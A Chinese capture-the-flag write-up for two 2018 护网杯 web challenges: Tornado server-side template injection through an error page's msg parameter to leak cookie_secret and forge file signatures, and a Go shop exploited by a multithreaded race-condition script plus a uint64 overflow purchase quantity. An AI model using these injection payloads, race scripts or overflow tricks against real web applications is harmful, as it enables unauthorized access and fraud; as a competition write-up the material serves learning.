2018护网杯第一场 web easy tornado LTshop超详细解答

easy tornado

这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename)));  flag文件名题目已给出 /fllllllllllag

        题目关键为如何获取cookie,在Bp抓包的情况下没有显示cookie,由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg

http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF

该处将原有参数替换可以执行模板注入msg={{XXXXX}},需要注意,这里过滤了大多数奇怪的字符,并且跟以往的题目不同的是,这里不需要python的基类再寻找子函数,而是直接获取环境的变量。

        该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from tornado.web import UIModule
from tornado import escape

class custom(UIModule):

    def render(self, *args, **kwargs):
        return escape.xhtml_escape('<h1>wupeiqi</h1>')
        #return escape.xhtml_escape('<h1>wupeiqi</h1>')
#!/usr/bin/env python
# -*- coding:utf-8 -*-

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.render('index.html')
        
        
class LoginHandler(BaseHandler):
    def get(self):
        '''
        当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢?
        在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler
        继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做
        '''
        '''
        我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie()
        '''
        # self.set_cookie()
        # self.get_cookie()

        self.render('login.html', **{'status': ''})

def login(request):
    #获取用户输入
    login_form = AccountForm.LoginForm(request.POST)
    if request.method == 'POST':
        #判断用户输入是否合法
        if login_form.is_valid():#如果用户输入是合法的
            username = request.POST.get('username')
            password = request.POST.get('password')
            if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password:
                    request.session['auth_user'] = username
                    return redirect('/index/')
            else:
                return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'})
        else:
            error_msg = login_form.errors.as_data()
            return render(request,'account/login.html',{'model': login_form,'errors':error_msg})

    # 如果登录成功,写入session,跳转index
    return render(request, 'account/login.html', {'model': login_form})

我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。

在tornado模板中,存在一些可以访问的快速对象,例如

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>

这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

而后使用在线的或者python的计算一下就可以

import hashlib

def md5value(s):
	md5 = hashlib.md5() 
	md5.update(s) 
	return md5.hexdigest()


def mdfive2(): 
	filename = 'fllllllllllag'
	aaa ="*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%+WgjHbvfM@[U"
	print(md5value(filename))
	# print(md5value('*c].)Y!x<kr1e2_oQ(zO6Xd5D9ZKw7IPCs#4h~R-JFa3Vp8B0N>%+WgjHbvfM@[U'))
	# print(''+md5value(filename))
	print(md5value(aaa+md5value(filename)))


mdfive2()

ltshop

该题目与上一次xman开营的题目感觉好像,上次是买彩票,向服务器传输七位数字,后台一位一位比对是否中奖,根据弱语言类型特征我们传递字典

这样后台比较时,true跟数字是相等的,即代表我们猜中了。但这次稍有不同,每个用户注册送20元,5元一个大辣条,5个大辣条买一个辣条之王,99999个辣条之王才可以换flag

题目中抓包,可以看到其中不同的地方

题目采用的是router的方式来传递信息,即使用router管理整个请求,通过不同的路径信息返回不同的响应,前面也记录过就不多说了。买什么辣条王和flag只是在POST中的路径提交的有所不同,没有所谓的POST信息,不过注意这个兑换的时候我们可以输入数目,这个是会被当做传递的信息的。

并且还有一个关键的地方,这个cookie的名字很奇怪,百度了一下,看到了这么一条

可能是这个东西吧.....go语言的一个框架,这个是有用的提示。

我们的钱只能买四包,但是由于不能像彩票那个题目一样伪造数据,那么只有使用条件竞争了,让服务器来不及反应的时候就给我们不应该给的辣条。

使用多线程,快速访问买大辣条的页面,

这是天枢的whriteup中的脚本,就是一个多线程访问而已

import multiprocessing
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
import re, os, json, requests, time
import traceback

def main():
    url = 'http://117.78.26.155:31358/buylt'
    cookie = '47c3b1ec-45d1-4b19-9bec-025a67e203b6'
    headers = {'Cookie':'go_iris_cookie='+ cookie}
    k = requests.post(url,headers=headers)
    print k.content

if __name__ == '__main__':
    results = []
    pool = multiprocessing.Pool(processes=20)
    for i in range(0xff):
        results.append(pool.apply_async(main,))
    pool.close()
    pool.join()

我们使用Bp就可以达到目的

 我们的目的不是通过竞争买到走够多的大辣条,这是不可能的,因为需要的实在是太多了。我们需要超过五个的大辣条,用来买辣条之王,还记得上文说过的go语言吗,这里存在uint64溢出,但是本身大辣条数目不够是不让点的,所以我们才要条件竞争。

Golang:专用int溢出(Golang: on-purpose int overflow)  http://www.it1352.com/808569.html

        溢出的原理是同栈溢出类似,我们一个数字类型的内存空间无法存储超过其大小的数字,超过之后就会导致数字变化,例如1无符号16位整数,最大可以表示0-2^16-1(65535),如果输入65536则变为0,65537则又变回1了,这是符号二进制数字的原理的,只是我们定义的数字类型不满足条件,显示不全。

  该题目就是这样的一个问题,我们输入的是份数,后台肯定要查询数据库中我们的大辣条数目书否符合条件,即是否大于份数*5,才会给我们相应的辣条之王。我们的目的是数据库判断可以过,但是后台也得给我们足够的辣条之王,思路是使用整数溢出欺骗数据库,使得我们请求的数字在服务器看来就是1分辣条之王,而实际上是很多。

        利用数据库查询时会*5倍,这时我们构造溢出,64位整数可以表达的上限是0xffff ffff ffff ffff,即2^64-1,超过就会又从0开始。

        如果我们输入请求数目为2^64/5 到数据库中查询的数量就是2^64表示的是0啊,据说可能或存在问题,    

        如果我们请求(2^64/5+1)。那么到数据库中的数字是2^64+5,由于溢出也就表示5,我们的大辣条数是满足的啊!!,所以我们就可以得到(2^64/5+1)=3689348814741910324大辣条之王,可以换flag了。

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/83346029